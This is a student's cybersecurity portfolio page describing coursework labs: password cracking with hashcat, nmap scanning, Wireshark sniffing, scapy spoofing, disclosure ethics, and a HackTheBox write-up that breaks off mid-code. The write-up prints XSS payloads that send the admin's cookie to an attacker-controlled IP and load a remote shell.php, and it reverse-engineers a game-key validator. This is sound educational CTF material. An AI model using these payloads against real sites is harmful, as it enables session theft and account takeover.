loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync 